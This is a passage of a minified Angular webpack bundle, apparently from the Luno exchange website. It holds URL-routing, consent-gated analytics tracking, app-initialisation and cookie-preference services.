.EMAIL_ADDRESS_NOT_VERIFIED=90]="EMAIL_ADDRESS_NOT_VERIFIED",t[t.CONFIRM_IDENTITY_PENDING=91]="CONFIRM_IDENTITY_PENDING",t[t.CONFIRM_IDENTITY_FAILURE=92]="CONFIRM_IDENTITY_FAILURE",t[t.PHONE_NUMBER_CHANGED=93]="PHONE_NUMBER_CHANGED",t[t.GENERIC_PENDING_FAILURE=94]="GENERIC_PENDING_FAILURE",l;var t})();let u={0:"UNKNOWN_TYPE",1:"NONE",2:"CAPITALISE",3:"UPPERCASE",4:"LOWERCASE"},h={UNKNOWN_TYPE:0,NONE:1,CAPITALISE:2,UPPERCASE:3,LOWERCASE:4};var d=(()=>{return(t=d||(d={}))[t.UNKNOWN_STYLE=0]="UNKNOWN_STYLE",t[t.NORMAL=1]="NORMAL",t[t.GROUPING=2]="GROUPING",d;var t})(),p=(()=>{return(t=p||(p={}))[t.UNKNOWN_TYPE=0]="UNKNOWN_TYPE",t[t.STANDARD=1]="STANDARD",t[t.CHECKBOX=2]="CHECKBOX",t[t.HEADING=3]="HEADING",t[t.SWITCH_CONTROL=4]="SWITCH_CONTROL",t[t.PAYMENT_METHOD=5]="PAYMENT_METHOD",t[t.EMPTY_STATE=6]="EMPTY_STATE",t[t.INLINE_BUTTON=7]="INLINE_BUTTON",p;var t})();let f={UNKNOWN_TYPE:0,STANDARD:1,CHECKBOX:2,HEADING:3,SWITCH_CONTROL:4,PAYMENT_METHOD:5,EMPTY_STATE:6,INLINE_BUTTON:7};var m=(()=>{return(t=m||(m={}))[t.UNKNOWN_TYPE=0]="UNKNOWN_TYPE",t[t.SUCCESS=1]="SUCCESS",t[t.PENDING=2]="PENDING",t[t.WARNING=3]="WARNING",m;var t})(),g=(()=>{return(t=g||(g={}))[t.UNKNOWN_TYPE=0]="UNKNOWN_TYPE",t[t.NATIONAL_ID_CARD=1]="NATIONAL_ID_CARD",t[t.DRIVING_LICENCE=2]="DRIVING_LICENCE",t[t.PASSPORT=3]="PASSPORT",t[t.FACE_PHOTO=4]="FACE_PHOTO",t[t.FACE_VIDEO=5]="FACE_VIDEO",g;var t})(),_=(()=>{return(t=_||(_={}))[t.UNKNOWN=0]="UNKNOWN",t[t.TRANSFER=1]="TRANSFER",t[t.TOGGLE_SEND=2]="TOGGLE_SEND",t[t.API_KEY=3]="API_KEY",t[t.MOBILE_CHANGE=4]="MOBILE_CHANGE",t[t.ADD_EMAIL=5]="ADD_EMAIL",t[t.TRUST_DEVICE=6]="TRUST_DEVICE",_;var t})()},58193:function(t,e,n){"use strict";n.d(e,{Cq:function(){return o},Tt:function(){return c}});var i=n(62901);n(66846),n(22210);var s=n(54364),r=n(2316);let o=(()=>{class t{constructor(t){this.localeService=t}transform(t){return(0,s.p6)(t,"MMMM yyyy",this.localeService.locale)}}return t.\u0275fac=function(e){return new(e||t)(r.Y36(i.O,16))},t.\u0275pipe=r.Yjl({name:"formatMonthYear",type:t,pure:!0}),t})();var a=n(98045);let c=(()=>{class t{constructor(t){this.featureFlagService=t}transform(t,e){if(!t)return t;const n=t.match(/^(.+?)\.([a-z]+)$/);if(!n)return t;const i=this.featureFlagService.isEnabled("luno_v3")?"_v3":"";return e=this.featureFlagService.isEnabled("luno_v3")?e:void 0,n[1]+i+"."+(null!=e?e:n[2])}}return t.\u0275fac=function(e){return new(e||t)(r.Y36(a.a,16))},t.\u0275pipe=r.Yjl({name:"themedAsset",type:t,pure:!0}),t})()},58625:function(t,e,n){"use strict";n.d(e,{x:function(){return c},c:function(){return l}});var i=n(2316),s=n(46436),r=n(62901),o=n(22210),a=n(18742);const c=new i.OlP("LUNO_PROJECT");let l=(()=>{class t{constructor(t,e,n,i){this.windowRef=t,this.i18n=e,this.localeService=n,this.project=i,this.trustedDomains=["https://auth.truelayer-sandbox.com","https://auth.truelayer.com","https://afrivoucher-staging.herokuapp.com","https://vouchers.afritickets.com"],this.authRoutes=["/authorize","/confirm_email","/lock_account","/login","/login/oauth2v2","/recover","/recovery_web","/report_fraud","/secure_account","/signup","/verify_email"],this.currentUrl=this.windowRef.nativeWindow.location.href,i?(this.currentProject=i,i===s.I.websiteOld&&this.getProjectFromUrl(this.currentUrl)===s.I.careers&&(this.currentProject=s.I.careers)):this.currentProject=this.getProjectFromUrl(this.currentUrl)}getProjectFromUrl(t){const e=this.getUrlPath(t);return this.hostnameIsTrade(t)?s.I.exchangePwa:this.pathIsWallet(e)?s.I.wallet:this.pathIsLearn(e)?s.I.learningPortal:this.pathIsHelp(e)?s.I.helpCentre:this.pathIsTrade(e)?s.I.exchange:this.pathIsSandbox(e)?s.I.sandbox:this.pathIsExpress(e)?s.I.express:this.pathIsCareers(e)?s.I.careers:this.pathIsAuth(e)?s.I.auth:!this.isAbsoluteUrl(t)||this.isSameDomain(t,this.windowRef.nativeWindow.location.href)?s.I.websiteOld:s.I.external}maybeGetLanguageFromUrl(t){if(!t)return!1;for(const e of this.localeService.supportedLanguages)if(t.includes(`/${e}/`)||t.endsWith(`/${e}`))return e;return!1}getUrlPath(t){return this.isAbsoluteUrl(t)?new URL(t).pathname:t}getParsedToken(t){const e=t.match(/token=(.*)$/);return e?e[1]:t}isSameDomain(t,e){if(!t||!e||"function"!=typeof URL)return!1;const n=new URL(t),i=new URL(e);return n.hostname===i.hostname}isAbsoluteUrl(t){return!!(null==t?void 0:t.startsWith("http"))}hostnameIsTrade(t){return!!this.isAbsoluteUrl(t)&&["trade.luno.com","trade.staging.luno.com"].includes(new URL(t).hostname)}pathIsAuth(t){return!!this.authRoutes.find(e=>t.includes(e))}pathIsBlog(t){return!!(null==t?void 0:t.startsWith("/blog"))}pathIsCareers(t){return!!(null==t?void 0:t.includes("/careers"))}pathIsExpress(t){return!!(null==t?void 0:t.startsWith("/express"))}pathIsHelp(t){return!!(null==t?void 0:t.startsWith("/help"))}pathIsLearn(t){return!!(null==t?void 0:t.startsWith("/learn"))}pathIsLogin(t){return!!(null==t?void 0:t.includes("/login"))}pathIsLogout(t){return"/logout"===t}pathIsSandbox(t){return!!(null==t?void 0:t.startsWith("/sandbox"))}pathIsSignUp(t){return!!(null==t?void 0:t.includes("/signup"))}pathIsTrade(t){return!!(null==t?void 0:t.startsWith("/trade"))}pathIsWallet(t){return!!(null==t?void 0:t.startsWith("/wallet"))}pathIsDeveloperApi(t){return!!(null==t?void 0:t.includes("/developers/api"))}removeWalletFromUrl(t){return"/wallet"===t?"/":t.replace(/^\/wallet/,"")}getUrl(t){switch(this.currentProject){case s.I.wallet:return this.processWalletUrl(t);case s.I.helpCentre:return this.processHelpUrl(t);case s.I.auth:return this.processAuthUrl(t);case s.I.websiteOld:return this.processWebsiteOldUrl(t);case s.I.website:return this.processWebsiteUrl(t)}return t}getUrlWithoutParams(t){return(t=this.getUrl(t)).split("?")[0]}getParams(t){var e;let n;n=this.isAbsoluteUrl(t)?new URL(t):new URL(`https://www.luno.com/${t}`);const i={};return null===(e=null==n?void 0:n.searchParams)||void 0===e||e.forEach((t,e)=>{i[e]=t}),i}processWalletUrl(t){const e=this.isAbsoluteUrl(t)?new URL(t).pathname+new URL(t).search:t;return this.pathIsWallet(e)?this.removeWalletFromUrl(e):t}processHelpUrl(t){const e=this.isAbsoluteUrl(t)?new URL(t).pathname+new URL(t).search:t,n=!!this.maybeGetLanguageFromUrl(e);if(this.pathIsHelp(e)){if(n)return e;const t=this.maybeGetLanguageFromUrl(this.currentUrl)||this.i18n.defaultLanguage;return e.replace("/help/",`/help/${t}/`)}return t}processAuthUrl(t){if(!t)return"";const e=this.isAbsoluteUrl(t)?new URL(t).pathname+new URL(t).search:t,n=!!this.maybeGetLanguageFromUrl(e);if(!e)return t;if(this.pathIsAuth(e)){if(n)return e;const t=this.maybeGetLanguageFromUrl(this.currentUrl)||this.i18n.defaultLanguage,i=this.authRoutes.find(t=>e.includes(t))||"";return e.replace(i,`/${t}${i}`)}return this.processHelpUrl(t)}processWebsiteOldUrl(t){if(!t)return"";const e=this.isAbsoluteUrl(t)?new URL(t).pathname+new URL(t).search:t,n=!!this.maybeGetLanguageFromUrl(e);if(!e)return t;if(e.includes("/recover")){if(n)return e;const t=this.maybeGetLanguageFromUrl(this.currentUrl)||this.i18n.defaultLanguage;return e.replace("/recover",`/${t}/recover`)}return this.processHelpUrl(t)}processWebsiteUrl(t){return this.isAbsoluteUrl(t)&&!this.isExternalLink(t)?new URL(t).pathname+new URL(t).search:t}isExternalLink(t){if(t.startsWith("mailto"))return!0;switch(this.currentProject){case s.I.auth:return this.isExternalAuthLink(t);case s.I.wallet:return this.isExternalWalletLink(t);case s.I.helpCentre:return this.isExternalHelpLink(t);case s.I.sandbox:return this.isExternalSandboxLink(t);case s.I.exchange:return!0;case s.I.exchangePwa:return this.isExternalExchangePwaLink(t);case s.I.websiteOld:return!0;case s.I.website:return this.isExternalWebsiteLink(t);case s.I.express:return this.isExternalExpressLink(t);case s.I.careers:return this.isExternalCareersLink(t)}return!1}isExternalWebsiteLink(t){return!!(this.pathIsBlog(t)||this.pathIsCareers(t)||this.pathIsHelp(t)||this.pathIsLearn(t)||this.pathIsLogin(t)||this.pathIsLogout(t)||this.pathIsSignUp(t)||this.pathIsTrade(t)||this.pathIsWallet(t)||this.pathIsDeveloperApi(t))||!!this.isAbsoluteUrl(t)&&!this.isSameDomain(this.windowRef.nativeWindow.location.href,t)}isExternalExpressLink(t){return this.isAbsoluteUrl(t)?!this.pathIsExpress(new URL(t).pathname):this.pathIsLogin(t)||this.pathIsLogout(t)||this.pathIsSignUp(t)||this.pathIsHelp(t)}isExternalCareersLink(t){return!t.includes("en/careers")}isExternalWalletLink(t){return this.isAbsoluteUrl(t)?!this.pathIsWallet(new URL(t).pathname):this.pathIsHelp(t)||this.pathIsLearn(t)||this.pathIsTrade(t)}isExternalAuthLink(t){return this.isAbsoluteUrl(t)?!this.pathIsAuth(new URL(t).pathname):!this.pathIsAuth(t)}isExternalHelpLink(t){return this.isAbsoluteUrl(t)?!this.pathIsHelp(new URL(t).pathname):!this.pathIsHelp(t)}isExternalSandboxLink(t){return this.isAbsoluteUrl(t)?!this.pathIsSandbox(new URL(t).pathname):this.pathIsHelp(t)||this.pathIsLearn(t)||this.pathIsTrade(t)||this.pathIsWallet(t)}isExternalExchangePwaLink(t){return!this.pathIsLogin(t)}isDifferentWindowExchange(t){return!!this.isAbsoluteUrl(t)||t.indexOf("signup")>=0}isDifferentWindowExpress(t){return!!this.pathIsHelp(this.getUrlPath(t))||!(this.isAbsoluteUrl(t)||this.pathIsLogin(t)||this.pathIsLogout(t)||this.pathIsSignUp(t))&&this.isExternalExpressLink(t)}shouldOpenInNewWindow(t){switch(this.currentProject){case s.I.wallet:return this.isExternalWalletLink(t);case s.I.exchange:case s.I.exchangePwa:return this.isDifferentWindowExchange(t);case s.I.express:return this.isDifferentWindowExpress(t);case s.I.sandbox:case s.I.helpCentre:case s.I.websiteOld:case s.I.website:case s.I.auth:return!!this.isAbsoluteUrl(t)&&!this.isSameDomain(this.windowRef.nativeWindow.location.href,t)}return!1}isTrustedUrl(t){return this.trustedDomains.some(e=>t.startsWith(e))}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(a.X),i.LFG(o.K),i.LFG(r.O),i.LFG(c,8))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},70227:function(t,e,n){"use strict";n.d(e,{y:function(){return h},v:function(){return u}});var i=n(54364),s=n(2316),r=(()=>{return(t=r||(r={})).UNKNOWN="unknown",t.BROWSER="browser",t.STANDALONE="standalone",t.TWA="twa",r;var t})(),o=(()=>{return(t=o||(o={}))[t.Unknown=0]="Unknown",t[t.Navigation=1]="Navigation",t[t.Location=2]="Location",t[t.Search=3]="Search",t[t.Transaction=4]="Transaction",t[t.UserContent=5]="UserContent",t[t.UserPreference=6]="UserPreference",t[t.Social=7]="Social",t[t.Other=8]="Other",o;var t})(),a=n(98045),c=n(94637),l=n(18742);const u=new s.OlP("GA_MEASUREMENT_IDS");let h=(()=>{class t{constructor(t,e,n,s,o){if(this.cookiePreferencesService=t,this.featureFlagsService=e,this.windowRef=n,this.platformId=s,this.gaPropertyIds=o,this.shouldTrackGtagDate=!0,this.shouldTrackPerformance=!1,this.displayMode=r.BROWSER,(0,i.NF)(this.platformId)){if(!n.nativeWindow.gtag)return void console.error("GaService: Analytics script not loaded properly.");this.cookiePreferencesService.preferences$.subscribe(t=>{this.shouldTrackPerformance=t.performance,this.windowRef.nativeWindow.gtag("consent","default",{analytics_storage:t.performance?"granted":"denied"})})}this.displayMode=(t=>t&&!(0,i.NF)(t)?r.UNKNOWN:document.referrer.startsWith("android-app://")?r.TWA:window.matchMedia("(display-mode: standalone)").matches||navigator.standalone?r.STANDALONE:r.BROWSER)(this.platformId)}get isDebugMode(){return this.isAnalyticsDebuggerEnabled||!1}get isAnalyticsDebuggerEnabled(){return this.featureFlagsService.isEnabled("analytics_debugger")}logEvent(t){!(null==t?void 0:t.name)||(this.trackMparticleEvent(t.name,Object.assign(Object.assign({},t.parameters),{display_mode:this.displayMode})),this.trackGtagEvent(t.name,{parameters:Object.assign(Object.assign({},t.parameters),{display_mode:this.displayMode})}))}trackPage(t,e,n,i=!1){!t||(i&&t!==this.lastTrackedPage&&(this.markedPage=this.lastTrackedPage),this.lastTrackedPage=t,e=e||{},t&&this.trackMparticlePageview(t,e),this.trackGtagPageview(t,n))}trackMarkedPage(){this.markedPage&&this.lastTrackedPage!==this.markedPage&&(this.trackPage(this.markedPage),this.markedPage="")}trackMparticlePageview(t,e){this.isDebugMode?console.table({Service:"mParticle",Page_name:t,Attributes:e}):!this.windowRef.nativeWindow.mParticle||!this.shouldTrackPerformance||this.windowRef.nativeWindow.mParticle.logPageView(t.trim(),e)}trackMparticleEvent(t,e){this.lastTrackedPage&&(e||(e={}),e.screen_name=this.lastTrackedPage),this.isDebugMode?console.table({Service:"mParticle",Event_name:t,Attributes:e}):!this.windowRef.nativeWindow.mParticle||!this.shouldTrackPerformance||this.windowRef.nativeWindow.mParticle.logEvent(t.trim(),o.Other,e)}trackGtagPageview(t,e){if(this.isDebugMode)return void console.table({Service:"Gtag",PageName:t,PageUrl:e});const n={};n.page_title=t,e&&(n.page_path=e),this.shouldTrackGtagDate&&(this.windowRef.nativeWindow.gtag("js",new Date),this.shouldTrackGtagDate=!1),this.gaPropertyIds&&this.gaPropertyIds.forEach(t=>{this.windowRef.nativeWindow.gtag("config",t,n)})}trackGtagEvent(t,e){const n=(null==e?void 0:e.attributes)||{};let i={event_category:null==e?void 0:e.gaCategory,event_label:n.label,value:n.value};(null==e?void 0:e.parameters)&&(i=e.parameters),this.isDebugMode?console.table({Service:"Gtag (event)",action:t,attributes:i}):this.windowRef.nativeWindow.gtag("event",t.trim(),i)}logUserIntoGtag(t){if(t&&t>0){if(this.isDebugMode)return void console.table({Service:"Gtag (log user in)",user_id:t});this.windowRef.nativeWindow.gtag("set",{user_id:t.toString()})}}logCustomMetrics(t){!t||!t.dimensions||t.dimensions.forEach(t=>{this.isDebugMode?console.table({Service:"Custom Dimension",label:t.label,value:t.value}):this.windowRef.nativeWindow.gtag("set","user_properties",{[t.label]:t.value})})}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(c.L),s.LFG(a.a),s.LFG(l.X),s.LFG(s.Lbi),s.LFG(u,8))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},80722:function(t,e,n){"use strict";n.d(e,{E:function(){return I},N:function(){return A}});var i=n(2316),s=n(32118),r=n.n(s),o=n(76491),a=n(79441),c=n(27272);function l(t){return e=>e.lift(new u(t,e))}class u{constructor(t,e){this.notifier=t,this.source=e}call(t,e){return e.subscribe(new h(t,this.notifier,this.source))}}class h extends c.Ds{constructor(t,e,n){super(t),this.notifier=e,this.source=n}error(t){if(!this.isStopped){let n=this.errors,i=this.retries,s=this.retriesSubscription;if(i)this.errors=void 0,this.retriesSubscription=void 0;else{n=new a.xQ;try{const{notifier:t}=this;i=t(n)}catch(e){return super.error(e)}s=(0,c.ft)(i,new c.IY(this))}this._unsubscribeAndRecycle(),this.errors=n,this.retries=i,this.retriesSubscription=s,n.next(t)}}_unsubscribe(){const{errors:t,retriesSubscription:e}=this;t&&(t.unsubscribe(),this.errors=void 0),e&&(e.unsubscribe(),this.retriesSubscription=void 0),this.retries=void 0}notifyNext(){const{_unsubscribe:t}=this;this._unsubscribe=null,this._unsubscribeAndRecycle(),this._unsubscribe=t,this.source.subscribe(this)}}var d=n(32606),p=n(71003),f=n(93621);function m(t,e=d.P){const n=function(t){return t instanceof Date&&!isNaN(+t)}(t)?+t-e.now():Math.abs(t);return t=>t.lift(new g(n,e))}class g{constructor(t,e){this.delay=t,this.scheduler=e}call(t,e){return e.subscribe(new _(t,this.delay,this.scheduler))}}class _ extends p.L{constructor(t,e,n){super(t),this.delay=e,this.scheduler=n,this.queue=[],this.active=!1,this.errored=!1}static dispatch(t){const e=t.source,n=e.queue,i=t.scheduler,s=t.destination;for(;n.length>0&&n[0].time-i.now()<=0;)n.shift().notification.observe(s);if(n.length>0){const e=Math.max(0,n[0].time-i.now());this.schedule(t,e)}else this.unsubscribe(),e.active=!1}_schedule(t){this.active=!0,this.destination.add(t.schedule(_.dispatch,this.delay,{source:this,destination:this.destination,scheduler:t}))}scheduleNotification(t){if(!0===this.errored)return;const e=this.scheduler,n=new v(e.now()+this.delay,t);this.queue.push(n),!1===this.active&&this._schedule(e)}_next(t){this.scheduleNotification(f.P.createNext(t))}_error(t){this.errored=!0,this.queue=[],this.destination.error(t),this.unsubscribe()}_complete(){this.scheduleNotification(f.P.createComplete()),this.unsubscribe()}}class v{constructor(t,e){this.time=t,this.notification=e}}var b=n(14921),y=n(33927),w=n(53466),x=n(30706),C=n(96005),S=n(87997),E=n(22210);let k=(()=>{class t{set currencyInfo(t){this._currencyInfo=t,this.mapCurrencies(t)}mapCurrencies(t){this.mappedCurrencies=new Map,t.currencies&&Object.keys(t.currencies).forEach(e=>{this.mappedCurrencies.set(t.currencies[e].code,t.currencies[e]),this.mappedCurrencies.set(t.currencies[e].displayCode,t.currencies[e])})}getCurrency(t){return this.mappedCurrencies.get(t)}standardise(t){var e;if(!t)return"";const n=/[^0-9]/g,i=t.split(/[,.]/),s=null===(e=i.pop())||void 0===e?void 0:e.replace(n,""),r=i.join("").replace(n,"");return`${r}${r?".":""}${s}`}truncate(t,e){const[n,i]=t.toString().split("."),s=this.getCurrency(e);return i&&s?`${n}.${i.slice(0,s.scale)}`:t.toString()}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})();var T=n(50501);const A=new i.OlP("SUPPORTED_LANGUAGES");let I=(()=>{class t{constructor(t,e,n,i,s){this.currencyInfoService=t,this.errorHandlerService=e,this.httpService=n,this.i18n=i,this.supportedLanguages=s,this.isCamelCased=!0,this._hasProcessed=!1,this.appInfoSubject=new o.X(null),this.retryAmount=3,this.retryDelay=1e3,this.supportedLanguageCodes={fr:!0,id:!0,it:!0}}get hasProcessed(){return this._hasProcessed}load(){return this.getInitData().toPromise().then(t=>this.processAppInfo(t)).catch(t=>(this.errorHandlerService.useBugsnag()&&r().notify(t),Promise.resolve()))}loadLite(){return this.getInitLiteData().toPromise().then(t=>{this.processAppInfo(t)}).catch(t=>(this.errorHandlerService.useBugsnag()&&r().notify(t),Promise.resolve()))}refresh(){return this.getInitData().pipe((0,b.b)(t=>this.processAppInfo(t)),(0,y.U)(t=>(0,S.i)(t)))}get hasLoaded(){return this.appInfoSubject.asObservable().pipe((0,y.U)(t=>!!t))}get userInfo(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.userInfo}get userInfo$(){return this.appInfoSubject.asObservable().pipe((0,C._)(),(0,y.U)(t=>t.userInfo))}get profileInfo$(){return this.appInfoSubject.asObservable().pipe((0,C._)(),(0,y.U)(t=>t.profileInfo))}set profileInfo(t){this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{profileInfo:Object.assign({},t)}))}get currencyInfo(){var t,e,n;const i=null!==(e=null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.currencyInfo.currencies)&&void 0!==e?e:{},s=Object.keys(i).reduce((t,e)=>Object.assign(Object.assign({},t),{[e.toUpperCase()]:i[e]}),{});return Object.assign(Object.assign({},null===(n=this.appInfoSubject.value)||void 0===n?void 0:n.currencyInfo),{currencies:Object.assign({},s)})}get navInfo(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.navInfo}get featureFlags(){var t;return Object.assign({},null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.featureFlags)}get isAuthenticated$(){return this.userInfo$.pipe((0,y.U)(t=>!!Number(t.userId)))}get isAuthenticated(){var t,e;return!!Number(null===(e=null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.userInfo)||void 0===e?void 0:e.userId)}get GoogleSignInClientID(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.externalConfig.googleSocial.googleSigninClientId}get FacebookAppID(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.externalConfig.facebookSocial.facebookAppId}get googleTagManagerConfig(){var t;return Object.assign({},null===(t=this.externalConfig)||void 0===t?void 0:t.googleTagManager)}get staticAssetsUrl(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.urls.static}get assetsUrls(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.urls}get locOptions(){var t,e;return[...null!==(e=null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.locOptions)&&void 0!==e?e:[]]}set locOptions(t){this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{locOptions:t}))}get externalConfig(){var t;return Object.assign({},null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.externalConfig)}get availableLanguages(){var t;return Object.assign({},null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.availableLanguages)}get preferences(){var t;return Object.assign({},null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.preferences)}get customMetrics(){if(this.appInfoSubject.value)return Object.assign({},this.appInfoSubject.value.customMetrics)}set preferences(t){this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{preferences:Object.assign({},t)}))}set language(t){var e;this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{language:t,userInfo:Object.assign(Object.assign({},null===(e=this.appInfoSubject.value)||void 0===e?void 0:e.userInfo),{language:t})}))}get language(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.language}set country(t){var e;this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{userInfo:Object.assign(Object.assign({},null===(e=this.appInfoSubject.value)||void 0===e?void 0:e.userInfo),{preferredLocale:t})}))}set name(t){var e;this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{userInfo:Object.assign(Object.assign({},null===(e=this.appInfoSubject.value)||void 0===e?void 0:e.userInfo),{givenName:t})}))}set phoneVerified(t){var e;this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{userInfo:Object.assign(Object.assign({},null===(e=this.appInfoSubject.value)||void 0===e?void 0:e.userInfo),{phoneNumber:t,phoneVerified:!0})}))}set isOathEnabled(t){var e;this.appInfoSubject.next(Object.assign(Object.assign({},this.appInfoSubject.value),{userInfo:Object.assign(Object.assign({},null===(e=this.appInfoSubject.value)||void 0===e?void 0:e.userInfo),{oathEnabled:t})}))}get siftscienceInfo(){var t;return null===(t=this.appInfoSubject.value)||void 0===t?void 0:t.siftscienceInfo}getInitData(){let t=0;return this.httpService.get("/ajax/1/init").pipe(l(e=>e.pipe((0,b.b)(e=>{t+=1,t===this.retryAmount&&this.errorHandlerService.useBugsnag()&&r().notify({name:"Init call failed",message:`${e.status} - ${e.message}`})}),m(this.retryDelay),(0,w.q)(this.retryAmount))))}getInitLiteData(){let t=0;return this.httpService.get("/ajax/1/init_lite").pipe(l(e=>e.pipe((0,b.b)(e=>{t+=1,t===this.retryAmount&&this.errorHandlerService.useBugsnag()&&r().notify({name:"Init_lite call failed",message:`${e.status} - ${e.message}`})}),m(this.retryDelay),(0,w.q)(this.retryAmount))))}mockAppInfo(t){if(!t)return;this.appInfoSubject.next(Object.assign({},t));const e=t.language,n=e.includes("-")?e.split("-")[0]:e;this.i18n.setLanguage(this.supportedLanguageCodes[n]?n:"en"),this._hasProcessed=!0}processAppInfo(t){if(!t)return;const e=(0,S.i)(t);e.availableLanguages&&(e.availableLanguages=this.processAvailableLanguages(e.availableLanguages)),e.currencyInfo&&(this.currencyInfoService.currencyInfo=e.currencyInfo),this.appInfoSubject.next(Object.assign(Object.assign({},e),{urls:Object.assign({},e.urls)})),this._hasProcessed=!0}processAvailableLanguages(t){if(!this.supportedLanguages)return t;const e=Object.keys(t),n=Object.assign({},t);return e.forEach(t=>{this.supportedLanguages.includes(t)||delete n[t]}),n}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(k),i.LFG(T.q),i.LFG(x.OE),i.LFG(E.K),i.LFG(A,8))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},94637:function(t,e,n){"use strict";n.d(e,{L:function(){return c}});var i=n(54364),s=n(2316),r=n(76491),o=n(81134);let a=(()=>{class t{constructor(t,e){this.document=t,this.platformId=e,this.documentIsAccessible=(0,i.NF)(this.platformId)}static getCookieRegExp(t){const e=t.replace(/([\[\]\{\}\(\)\|\=\;\+\?\,\.\*\^\$])/gi,"\\$1");return new RegExp("(?:^"+e+"|;\\s*"+e+")=(.*?)(?:;|$)","g")}static safeDecodeURIComponent(t){try{return decodeURIComponent(t)}catch(e){return t}}check(e){return!!this.documentIsAccessible&&(e=encodeURIComponent(e),t.getCookieRegExp(e).test(this.document.cookie))}get(e){if(this.documentIsAccessible&&this.check(e)){e=encodeURIComponent(e);const n=t.getCookieRegExp(e).exec(this.document.cookie);return n[1]?t.safeDecodeURIComponent(n[1]):""}return""}getAll(){if(!this.documentIsAccessible)return{};const e={},n=this.document;return n.cookie&&""!==n.cookie&&n.cookie.split(";").forEach(n=>{const[i,s]=n.split("=");e[t.safeDecodeURIComponent(i.replace(/^ /,""))]=t.safeDecodeURIComponent(s)}),e}set(t,e,n,i,s,r,o){if(!this.documentIsAccessible)return;if("number"==typeof n||n instanceof Date||i||s||r||o)return void this.set(t,e,{expires:n,path:i,domain:s,secure:r,sameSite:o||"Lax"});let a=encodeURIComponent(t)+"="+encodeURIComponent(e)+";";const c=n||{};c.expires&&(a+="number"==typeof c.expires?"expires="+new Date((new Date).getTime()+1e3*c.expires*60*60*24).toUTCString()+";":"expires="+c.expires.toUTCString()+";"),c.path&&(a+="path="+c.path+";"),c.domain&&(a+="domain="+c.domain+";"),!1===c.secure&&"None"===c.sameSite&&(c.secure=!0,console.warn(`[ngx-cookie-service] Cookie ${t} was forced with secure flag because sameSite=None.More details : https://github.com/stevermeister/ngx-cookie-service/issues/86#issuecomment-597720130`)),c.secure&&(a+="secure;"),c.sameSite||(c.sameSite="Lax"),a+="sameSite="+c.sameSite+";",this.document.cookie=a}delete(t,e,n,i,s="Lax"){if(!this.documentIsAccessible)return;const r=new Date("Thu, 01 Jan 1970 00:00:01 GMT");this.set(t,"",{expires:r,path:e,domain:n,secure:i,sameSite:s})}deleteAll(t,e,n,i="Lax"){if(!this.documentIsAccessible)return;const s=this.getAll();for(const r in s)s.hasOwnProperty(r)&&this.delete(r,t,e,n,i)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(i.K0),s.LFG(s.Lbi))},t.\u0275prov=s.Yz7({factory:function(){return new t(s.LFG(i.K0),s.LFG(s.Lbi))},token:t,providedIn:"root"}),t})(),c=(()=>{class t{constructor(t,e){this.cookieService=t,this.platformId=e,this.cookieName="cookie_preferences",this.defaultPreferences={functional:!0,performance:!0,marketing:!0},this._preferences$=new r.X(this.defaultPreferences),this._showPreferences$=new r.X(!1),this.checkCookie()}get preferences$(){return this._preferences$.asObservable()}get showPreferences$(){return(0,i.NF)(this.platformId)?this._showPreferences$.asObservable():(0,o.of)(!1)}acceptAll(){this.setCookie({functional:!0,performance:!0,marketing:!0})}acceptSelection(t){this.setCookie(t)}triggerPreferencesUi(){this._showPreferences$.next(!0)}setCookie(t){this.cookieService.set(this.cookieName,JSON.stringify(t),365,"/"),this._preferences$.next(t),this._showPreferences$.next(!1)}checkCookie(){if(!this.cookieService.check(this.cookieName))return void this._showPreferences$.next(!0);const t=JSON.parse(this.cookieService.get(this.cookieName));if(!this.isValid(t))return this.cookieService.delete(this.cookieName),void this._showPreferences$.next(!0);this._preferences$.next(t)}isValid(t){const e=Object.keys(t);return e.includes("functional")&&"boolean"==typeof t.functional&&e.includes("performance")&&"boolean"==typeof t.performance&&e.includes("marketing")&&"boolean"==typeof t.marketing&&3===e.length}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(a),s.LFG(s.Lbi))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},50501:function(t,e,n){"use strict";n.d(e,{q:function(){return r}});var i=n(54364),s=n(2316);let r=(()=>{class t{constructor(t){this.platformId=t,this.debugMode=!1}useBugsnag(){return void 0===this.useBugsnagCache&&(this.useBugsnagCache=(0,i.NF)(this.platformId)&&(this.debugMode||!(0,s.X6Q)())),this.useBugsnagCache}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(s.Lbi))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t})()},98045:function(t,e,n){"use strict";n.d(e,{u:function(){return r},a:function(){return o}});var i=n(2316),s=n(87997);const r=new 